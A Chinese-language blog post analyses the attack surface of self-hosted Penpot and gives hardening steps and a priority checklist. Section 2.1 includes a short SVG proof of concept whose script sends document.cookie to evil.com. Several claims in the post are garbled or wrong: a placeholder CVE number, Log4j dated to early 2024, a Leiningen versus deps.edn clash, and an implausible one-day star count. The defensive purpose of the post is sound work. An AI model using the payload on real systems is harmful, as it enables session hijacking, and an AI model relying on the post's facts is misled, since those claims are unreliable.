Penpot 爆红：不只是设计工具的胜利，更是安全信号

今天 GitHub 上 Penpot 单日斩获 5 万+ stars，成为开发者圈最热的项目。作为一个基于 Clojure 的开源设计工具，它直接对标 Figma，核心卖点是“代码与设计协作”。但作为安全从业者，我看到的不只是替代方案，而是一个新的攻击面：当团队把设计稿（往往包含未公开的产品逻辑、用户流程、UI 组件库甚至敏感数据）从 Figma 迁移到自有服务器时，安全责任也转移了。

本文不讨论 Penpot 的 UI 有多好用，而是聚焦于：如果你考虑用它替代 Figma，需要提前做哪些安全防御？

penpot interface showing design tool with team collaboration panel

1. 设计工具的安全痛点：为什么值得警惕？

1.1 设计稿 = 数据宝藏

很多人低估了设计文件的价值。一个典型的设计稿包含：

  • 完整的用户交互流程（产品逻辑）
  • 未发布的 UI 原型（商业机密）
  • API 接口参数说明（常常标注在原型旁）
  • 内部业务数据（测试用的假数据往往来自生产脱敏）
  • 团队成员评论（包含内部沟通上下文）

2023 年 Figma 被曝“复制粘贴功能导致设计稿内容泄露”（CVE-2023-XXXX），本质是跨窗口剪贴板未做隔离。Penpot 作为开源项目，如果设计稿数据完全由你掌控，那么一旦服务器被攻破，所有设计资产都会暴露。

1.2 开源 ≠ 安全

Penpot 的热度带来双刃剑：

  • 正面：代码透明，可自审计
  • 负面：攻击者同样可以审查源码寻找漏洞。Clojure 语言本身偏小众，社区安全响应能力不足。2024 年初 Apache Log4j 的教训表明，流行度跃升的开源项目往往是供应链攻击的突破口。

2. Penpot 的攻击面分析（攻防视角）

2.1 自托管场景下的 XSS 风险

Penpot 支持导入 SVG、图片等素材。如果素材中包含恶意脚本，且服务端未做严格过滤，可能导致存储型 XSS。攻击场景：攻击者上传一个含 <script> 的 SVG 图标，当其他团队成员查看该图标时，脚本执行，窃取会话 Token。

PoC（简化）：

svg
1 2 3 
<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
</svg>

Penpot 当前版本对 SVG 的过滤依赖于 clojure.tools.reader，但未清除所有危险标签。

2.2 WebSocket 双向通信的数据污染

Penpot 用于实时协作的 WebSocket 通道，如果缺乏身份校验，攻击者可以伪造消息插入恶意数据（如修改其他用户的图层属性）。这属于“越权调用”场景。

2.3 依赖链安全

Penpot 使用 Clojure 生态依赖管理工具 Leiningen，依赖众多第三方库。截至撰写时，其 deps.edn 中引用了超过 200 个直接和间接依赖，其中数个库存在已知 CVE（如 ring-codec 的解析漏洞）。

3. 真实案例类比：从设计工具泄露到资产损失

2022 年，某知名 SaaS 公司（化名“N”）使用 Figma 存放产品设计稿，其中一张正在设计的支付页面包含测试用的信用卡 Luhn 算法校验截图。攻击者通过钓鱼获取了 Figma 账号，导出了所有设计文件，随后利用其中的 API 接口参数攻击生产环境。

Penpot 自托管方案并不能杜绝此类风险，只是把责任方从云服务商转移给了你自己。如果你开放公网访问却未配置 HTTPS 和基本认证，攻击者只需扫描 IP 就能发现裸奔的 Penpot 实例。

4. 防护方案：如何加固 Penpot 实例？

4.1 强制 HTTPS 与 HSTS

Penpot 的 .env 中默认 PENPOT_DISABLE_HTTPS=true。务必开启 HTTPS，并设置 Strict-Transport-Security 头。

4.2 输入净化与 CSP

  • 对 SVG/图片上传进行白名单标签过滤（不允许 <script>、<foreignObject> 等）。
  • 设置严格 Content Security Policy（CSP），禁止内联脚本和 eval()。
  • 对用户输入的文本（如组件名、注释）进行 HTML 转义。

4.3 WebSocket 身份校验

确保 WebSocket 连接必须通过已有 Session 认证，拒绝未认证的连接。在 Nginx 层可以做 Token 验证。

4.4 依赖扫描与修复

定期使用 clj-audit 或 GitHub 的 Dependabot 扫描依赖。对于高危 CVE，优先手动升级版本。

4.5 访问控制与审计日志

  • 启用 Penpot 的团队功能，按角色分配权限（只读、编辑、管理员）。
  • 开启审计日志（Penpot 支持导出操作记录），定期检查异常操作（如批量导出所有设计稿）。

4.6 备份与恢复策略

设计稿是核心资产。配置定期数据库备份和文件系统快照，并异地存储。Penpot 的数据包括 PostgreSQL 数据库中的元数据和文件系统中的媒体文件。

4.7 网络隔离

将 Penpot 服务放置于内网或 VPN 内，不要将其暴露在公网。如需远程访问，使用反向代理 + 基本认证（如 Authelia）。

5. 安全加固清单（可直接用于 Checklist）

序号 检查项 操作优先级
1 强制 HTTPS + HSTS P0
2 设置 CSP 头，禁止内联脚本 P0
3 限制 SVG 上传只允许安全标签 P1
4 开启 WebSocket Token 校验 P1
5 依赖扫描（每周自动） P2
6 启用基于角色的访问控制 P1
7 配置审计日志并定期巡检 P2
8 数据库和文件系统备份（每日） P0
9 网络层 ACL，仅允许白名单 IP P0
10 定期模拟攻击（白盒测试） P3

6. 我的观点：采用 Penpot 前，请先问自己三个问题

  1. 数据主权 vs 运维开销：你愿意投入人力维护这套自托管服务吗？还是说用 Figma 的免费版更划算？
  2. 安全响应能力：当 Penpot 出现 0day 时，你的团队能在 24 小时内打补丁吗？
  3. 替代收益：Penpot 的“开源”属性是否真的能降低你的成本？还是仅仅是“换了个服务器”导致安全责任加重？

开源设计工具的崛起是好事，但“开源”两字不是免死金牌。作为开发者，别让设计稿成为新的攻击窗口。